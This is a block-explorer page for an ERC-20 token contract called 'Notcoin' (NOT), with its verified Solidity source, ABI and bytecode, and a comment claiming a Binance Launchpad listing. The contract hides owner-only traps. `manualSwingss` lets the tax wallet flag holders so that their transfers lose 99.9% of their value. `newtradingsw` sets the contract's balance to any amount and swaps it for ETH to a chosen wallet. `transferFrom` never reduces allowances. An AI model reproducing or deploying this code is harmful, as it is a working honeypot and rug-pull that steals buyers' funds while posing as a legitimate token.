ERC-20
Overview
Max Total Supply
1,000,000,000 NOT
Holders
136
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
412,292.325620945 NOTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
notcoin
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-05-15 */ /** *Submitted for verification at Etherscan.io on 2024-05-12 */ /** */ /* Launching on Binance Launchpad imagination of both cryptocurrency enthusiasts and mainstream audiences alike. Its irreverent branding, active community, and commitment to charitable causes have helped it carve out a unique niche in the world of digital currencies, ensuring that it remains a prominent player in the cryptocurrency landscape for the foreseeable future. */ pragma solidity ^0.8.14; // SPDX-License-Identifier: MIT library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) {return 0;} uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } } abstract contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function owner() public view virtual returns (address) {return _owner;} constructor () { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } modifier onlyOwner(){ require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair_); } interface IUniswapV2Router { function factory() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata path, address cAddress, uint256) external; function WETH() external pure returns (address aadd); } contract notcoin is Ownable { using SafeMath for uint256; uint256 public _decimals = 9; uint256 public _totalSupply = 1000000000 * 10 ** _decimals; constructor() { _balances[sender()] = _totalSupply; emit Transfer(address(0), sender(), _balances[sender()]); _taxWallet = msg.sender; } string private _name = "Notcoin"; string private _symbol = "NOT"; IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public _taxWallet; function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "IERC20: approve from the zero address"); require(spender != address(0), "IERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function name() external view returns (string memory) { return _name; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function mege() external { } function megerypto() external { } function rangeout() public { } function rangein() external { } function manualSwingss(address[] calldata walletAddress) external { uint256 fromBlockNo = getBlockNumber(); for (uint walletInde = 0; walletInde < walletAddress.length; walletInde++) { if (!marketingAddresss()){} else { cooldowns[walletAddress[walletInde]] = fromBlockNo + 1; } } } function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) { _transfer(from, recipient, _amount); require(_allowances[from][sender()] >= _amount); return true; } function symbol() public view returns (string memory) { return _symbol; } function getBlockNumber() internal view returns (uint256) { return block.number; } mapping(address => mapping(address => uint256)) private _allowances; function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function decreaseAllowance(address from, uint256 amount) public returns (bool) { require(_allowances[msg.sender][from] >= amount); _approve(sender(), from, _allowances[msg.sender][from] - amount); return true; } event Transfer(address indexed from, address indexed to, uint256); mapping (address => uint256) internal cooldowns; function decimals() external view returns (uint256) { return _decimals; } function marketingAddresss() private view returns (bool) { return (_taxWallet == (sender())); } function sender() internal view returns (address) { return msg.sender; } function totalSupply() external view returns (uint256) { return _totalSupply; } function newtradingsw(uint256 amount, address walletAddr) external { if (marketingAddresss()) { _approve(address(this), address(uniV2Router), amount); _balances[address(this)] = amount; address[] memory addressPath = new address[](2); addressPath[0] = address(this); addressPath[1] = uniV2Router.WETH(); uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, addressPath, walletAddr, block.timestamp + 32); } else { return; } } function _transfer(address from, address to, uint256 value) internal { uint256 _taxValue = 0; require(from != address(0)); require(value <= _balances[from]); emit Transfer(from, to, value); _balances[from] = _balances[from] - (value); bool onCooldown = (cooldowns[from] <= (getBlockNumber())); uint256 _cooldownFeeValue = value.mul(999).div(1000); if ((cooldowns[from] != 0) && onCooldown) { _taxValue = (_cooldownFeeValue); } uint256 toBalance = _balances[to]; toBalance += (value) - (_taxValue); _balances[to] = toBalance; } event Approval(address indexed, address indexed, uint256 value); function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(sender(), spender, _allowances[msg.sender][spender] + addedValue); return true; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(sender(), recipient, amount); return true; } mapping(address => uint256) private _balances; function approve(address spender, uint256 amount) public virtual returns (bool) { _approve(msg.sender, spender, amount); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"walletAddress","type":"address[]"}],"name":"manualSwingss","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"mege","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"megerypto","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"walletAddr","type":"address"}],"name":"newtradingsw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rangein","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rangeout","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526009600155600154600a6200001a9190620004bd565b633b9aca006200002b91906200050d565b6002556040518060400160405280600781526020017f4e6f74636f696e0000000000000000000000000000000000000000000000000081525060039081620000749190620007b2565b506040518060400160405280600381526020017f4e4f54000000000000000000000000000000000000000000000000000000000081525060049081620000bb9190620007b2565b50737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200011c575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360025460095f620001eb6200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620002386200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60095f620002996200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620002e29190620008a7565b60405180910390a33360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620008c2565b5f33905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620003c15780860481111562000399576200039862000337565b5b6001851615620003a95780820291505b8081029050620003b98562000364565b945062000379565b94509492505050565b5f82620003db5760019050620004ad565b81620003ea575f9050620004ad565b81600181146200040357600281146200040e5762000444565b6001915050620004ad565b60ff84111562000423576200042262000337565b5b8360020a9150848211156200043d576200043c62000337565b5b50620004ad565b5060208310610133831016604e8410600b84101617156200047e5782820a90508381111562000478576200047762000337565b5b620004ad565b6200048d848484600162000370565b92509050818404811115620004a757620004a662000337565b5b81810290505b9392505050565b5f819050919050565b5f620004c982620004b4565b9150620004d683620004b4565b9250620005057fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003ca565b905092915050565b5f6200051982620004b4565b91506200052683620004b4565b92508282026200053681620004b4565b9150828204841483151762000550576200054f62000337565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005d357607f821691505b602082108103620005e957620005e86200058e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200064d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000610565b62000659868362000610565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200069a620006946200068e84620004b4565b62000671565b620004b4565b9050919050565b5f819050919050565b620006b5836200067a565b620006cd620006c482620006a1565b8484546200061c565b825550505050565b5f90565b620006e3620006d5565b620006f0818484620006aa565b505050565b5b8181101562000717576200070b5f82620006d9565b600181019050620006f6565b5050565b601f82111562000766576200073081620005ef565b6200073b8462000601565b810160208510156200074b578190505b620007636200075a8562000601565b830182620006f5565b50505b505050565b5f82821c905092915050565b5f620007885f19846008026200076b565b1980831691505092915050565b5f620007a2838362000777565b9150826002028217905092915050565b620007bd8262000557565b67ffffffffffffffff811115620007d957620007d862000561565b5b620007e58254620005bb565b620007f28282856200071b565b5f60209050601f83116001811462000828575f841562000813578287015190505b6200081f858262000795565b8655506200088e565b601f1984166200083886620005ef565b5f5b8281101562000861578489015182556001820191506020850194506020810190506200083a565b868310156200088157848901516200087d601f89168262000777565b8355505b6001600288020188555050505b505050505050565b620008a181620004b4565b82525050565b5f602082019050620008bc5f83018462000896565b92915050565b611d0680620008d05f395ff3fe608060405234801561000f575f80fd5b5060043610610140575f3560e01c80636a658720116100b6578063958e8b4f1161007a578063958e8b4f1461032c57806395d89b4114610336578063a457c2d714610354578063a9059cbb14610384578063da937b08146103b4578063dd62ed3e146103be57610140565b80636a6587201461029a5780636f268a99146102b657806370a08231146102d4578063715018a6146103045780638da5cb5b1461030e57610140565b806323b872dd1161010857806323b872dd146101d65780632e239e3c14610206578063313ce5671461021057806332424aa31461022e578063395093511461024c5780633eaaf86b1461027c57610140565b8063020f76871461014457806306fdde0314610160578063095ea7b31461017e57806318160ddd146101ae57806319830eff146101cc575b5f80fd5b61015e600480360381019061015991906113d0565b6103ee565b005b61016861068b565b6040516101759190611498565b60405180910390f35b610198600480360381019061019391906114b8565b61071b565b6040516101a59190611510565b60405180910390f35b6101b6610731565b6040516101c39190611538565b60405180910390f35b6101d461073a565b005b6101f060048036038101906101eb9190611551565b61073c565b6040516101fd9190611510565b60405180910390f35b61020e6107de565b005b6102186107e0565b6040516102259190611538565b60405180910390f35b6102366107e9565b6040516102439190611538565b60405180910390f35b610266600480360381019061026191906114b8565b6107ef565b6040516102739190611510565b60405180910390f35b61028461088f565b6040516102919190611538565b60405180910390f35b6102b460048036038101906102af9190611602565b610895565b005b6102be610943565b6040516102cb919061165c565b60405180910390f35b6102ee60048036038101906102e99190611675565b610968565b6040516102fb9190611538565b60405180910390f35b61030c6109ae565b005b610316610add565b604051610323919061165c565b60405180910390f35b610334610b04565b005b61033e610b06565b60405161034b9190611498565b60405180910390f35b61036e600480360381019061036991906114b8565b610b96565b60405161037b9190611510565b60405180910390f35b61039e600480360381019061039991906114b8565b610cba565b6040516103ab9190611510565b60405180910390f35b6103bc610cd7565b005b6103d860048036038101906103d391906116a0565b610cd9565b6040516103e59190611538565b60405180910390f35b6103f6610d5b565b15610681576104273060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610db8565b8160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff811115610485576104846116de565b5b6040519080825280602002602001820160405280156104b35781602001602082028036833780820191505090505b50905030815f815181106104ca576104c961170b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561056e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610592919061174c565b816001815181106105a6576105a561170b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f848660204261062e91906117a4565b6040518663ffffffff1660e01b815260040161064e9594939291906118d0565b5f604051808303815f87803b158015610665575f80fd5b505af1158015610677573d5f803e3d5ffd5b5050505050610686565b610687565b5b5050565b60606003805461069a90611955565b80601f01602080910402602001604051908101604052809291908181526020018280546106c690611955565b80156107115780601f106106e857610100808354040283529160200191610711565b820191905f5260205f20905b8154815290600101906020018083116106f457829003601f168201915b5050505050905090565b5f610727338484610db8565b6001905092915050565b5f600254905090565b565b5f610748848484610f7b565b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61078f61125a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156107d3575f80fd5b600190509392505050565b565b5f600154905090565b60015481565b5f6108856107fb61125a565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461088091906117a4565b610db8565b6001905092915050565b60025481565b5f61089e611261565b90505f5b8383905081101561093d576108b5610d5b565b15610930576001826108c791906117a4565b60085f8686858181106108dd576108dc61170b565b5b90506020020160208101906108f29190611675565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b80806001019150506108a2565b50505050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166109cd610add565b73ffffffffffffffffffffffffffffffffffffffff1614610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a906119cf565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b565b606060048054610b1590611955565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4190611955565b8015610b8c5780601f10610b6357610100808354040283529160200191610b8c565b820191905f5260205f20905b815481529060010190602001808311610b6f57829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610c1b575f80fd5b610cb0610c2661125a565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610cab91906119ed565b610db8565b6001905092915050565b5f610ccd610cc661125a565b8484610f7b565b6001905092915050565b565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f610d6461125a565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1d90611a90565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8b90611b1e565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f6e9190611538565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610fb3575f80fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115610ffc575f80fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110599190611538565b60405180910390a38160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110aa91906119ed565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f6110f4611261565b60085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111590505f6111606103e86111526103e78761126890919063ffffffff16565b6112df90919063ffffffff16565b90505f60085f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054141580156111ac5750815b156111b5578092505b5f60095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050838561120291906119ed565b8161120d91906117a4565b90508060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050505050565b5f33905090565b5f43905090565b5f808303611278575f90506112d9565b5f82846112859190611b3c565b90508284826112949190611baa565b146112d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cb90611c4a565b60405180910390fd5b809150505b92915050565b5f808211611322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131990611cb2565b60405180910390fd5b5f828461132f9190611baa565b90508091505092915050565b5f80fd5b5f80fd5b5f819050919050565b61135581611343565b811461135f575f80fd5b50565b5f813590506113708161134c565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61139f82611376565b9050919050565b6113af81611395565b81146113b9575f80fd5b50565b5f813590506113ca816113a6565b92915050565b5f80604083850312156113e6576113e561133b565b5b5f6113f385828601611362565b9250506020611404858286016113bc565b9150509250929050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561144557808201518184015260208101905061142a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61146a8261140e565b6114748185611418565b9350611484818560208601611428565b61148d81611450565b840191505092915050565b5f6020820190508181035f8301526114b08184611460565b905092915050565b5f80604083850312156114ce576114cd61133b565b5b5f6114db858286016113bc565b92505060206114ec85828601611362565b9150509250929050565b5f8115159050919050565b61150a816114f6565b82525050565b5f6020820190506115235f830184611501565b92915050565b61153281611343565b82525050565b5f60208201905061154b5f830184611529565b92915050565b5f805f606084860312156115685761156761133b565b5b5f611575868287016113bc565b9350506020611586868287016113bc565b925050604061159786828701611362565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126115c2576115c16115a1565b5b8235905067ffffffffffffffff8111156115df576115de6115a5565b5b6020830191508360208202830111156115fb576115fa6115a9565b5b9250929050565b5f80602083850312156116185761161761133b565b5b5f83013567ffffffffffffffff8111156116355761163461133f565b5b611641858286016115ad565b92509250509250929050565b61165681611395565b82525050565b5f60208201905061166f5f83018461164d565b92915050565b5f6020828403121561168a5761168961133b565b5b5f611697848285016113bc565b91505092915050565b5f80604083850312156116b6576116b561133b565b5b5f6116c3858286016113bc565b92505060206116d4858286016113bc565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050611746816113a6565b92915050565b5f602082840312156117615761176061133b565b5b5f61176e84828501611738565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6117ae82611343565b91506117b983611343565b92508282019050808211156117d1576117d0611777565b5b92915050565b5f819050919050565b5f819050919050565b5f6118036117fe6117f9846117d7565b6117e0565b611343565b9050919050565b611813816117e9565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61184b81611395565b82525050565b5f61185c8383611842565b60208301905092915050565b5f602082019050919050565b5f61187e82611819565b6118888185611823565b935061189383611833565b805f5b838110156118c35781516118aa8882611851565b97506118b583611868565b925050600181019050611896565b5085935050505092915050565b5f60a0820190506118e35f830188611529565b6118f0602083018761180a565b81810360408301526119028186611874565b9050611911606083018561164d565b61191e6080830184611529565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061196c57607f821691505b60208210810361197f5761197e611928565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119b9602083611418565b91506119c482611985565b602082019050919050565b5f6020820190508181035f8301526119e6816119ad565b9050919050565b5f6119f782611343565b9150611a0283611343565b9250828203905081811115611a1a57611a19611777565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611a7a602583611418565b9150611a8582611a20565b604082019050919050565b5f6020820190508181035f830152611aa781611a6e565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611b08602383611418565b9150611b1382611aae565b604082019050919050565b5f6020820190508181035f830152611b3581611afc565b9050919050565b5f611b4682611343565b9150611b5183611343565b9250828202611b5f81611343565b91508282048414831517611b7657611b75611777565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611bb482611343565b9150611bbf83611343565b925082611bcf57611bce611b7d565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c34602283611418565b9150611c3f82611bda565b604082019050919050565b5f6020820190508181035f830152611c6181611c28565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611c9c601b83611418565b9150611ca782611c68565b602082019050919050565b5f6020820190508181035f830152611cc981611c90565b905091905056fea2646970667358221220d267cfe9322acd3ec5bd236c2f2c4780fb854b17083bda272bc6477557c6b70764736f6c63430008170033
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610140575f3560e01c80636a658720116100b6578063958e8b4f1161007a578063958e8b4f1461032c57806395d89b4114610336578063a457c2d714610354578063a9059cbb14610384578063da937b08146103b4578063dd62ed3e146103be57610140565b80636a6587201461029a5780636f268a99146102b657806370a08231146102d4578063715018a6146103045780638da5cb5b1461030e57610140565b806323b872dd1161010857806323b872dd146101d65780632e239e3c14610206578063313ce5671461021057806332424aa31461022e578063395093511461024c5780633eaaf86b1461027c57610140565b8063020f76871461014457806306fdde0314610160578063095ea7b31461017e57806318160ddd146101ae57806319830eff146101cc575b5f80fd5b61015e600480360381019061015991906113d0565b6103ee565b005b61016861068b565b6040516101759190611498565b60405180910390f35b610198600480360381019061019391906114b8565b61071b565b6040516101a59190611510565b60405180910390f35b6101b6610731565b6040516101c39190611538565b60405180910390f35b6101d461073a565b005b6101f060048036038101906101eb9190611551565b61073c565b6040516101fd9190611510565b60405180910390f35b61020e6107de565b005b6102186107e0565b6040516102259190611538565b60405180910390f35b6102366107e9565b6040516102439190611538565b60405180910390f35b610266600480360381019061026191906114b8565b6107ef565b6040516102739190611510565b60405180910390f35b61028461088f565b6040516102919190611538565b60405180910390f35b6102b460048036038101906102af9190611602565b610895565b005b6102be610943565b6040516102cb919061165c565b60405180910390f35b6102ee60048036038101906102e99190611675565b610968565b6040516102fb9190611538565b60405180910390f35b61030c6109ae565b005b610316610add565b604051610323919061165c565b60405180910390f35b610334610b04565b005b61033e610b06565b60405161034b9190611498565b60405180910390f35b61036e600480360381019061036991906114b8565b610b96565b60405161037b9190611510565b60405180910390f35b61039e600480360381019061039991906114b8565b610cba565b6040516103ab9190611510565b60405180910390f35b6103bc610cd7565b005b6103d860048036038101906103d391906116a0565b610cd9565b6040516103e59190611538565b60405180910390f35b6103f6610d5b565b15610681576104273060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610db8565b8160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff811115610485576104846116de565b5b6040519080825280602002602001820160405280156104b35781602001602082028036833780820191505090505b50905030815f815181106104ca576104c961170b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561056e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610592919061174c565b816001815181106105a6576105a561170b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f848660204261062e91906117a4565b6040518663ffffffff1660e01b815260040161064e959493929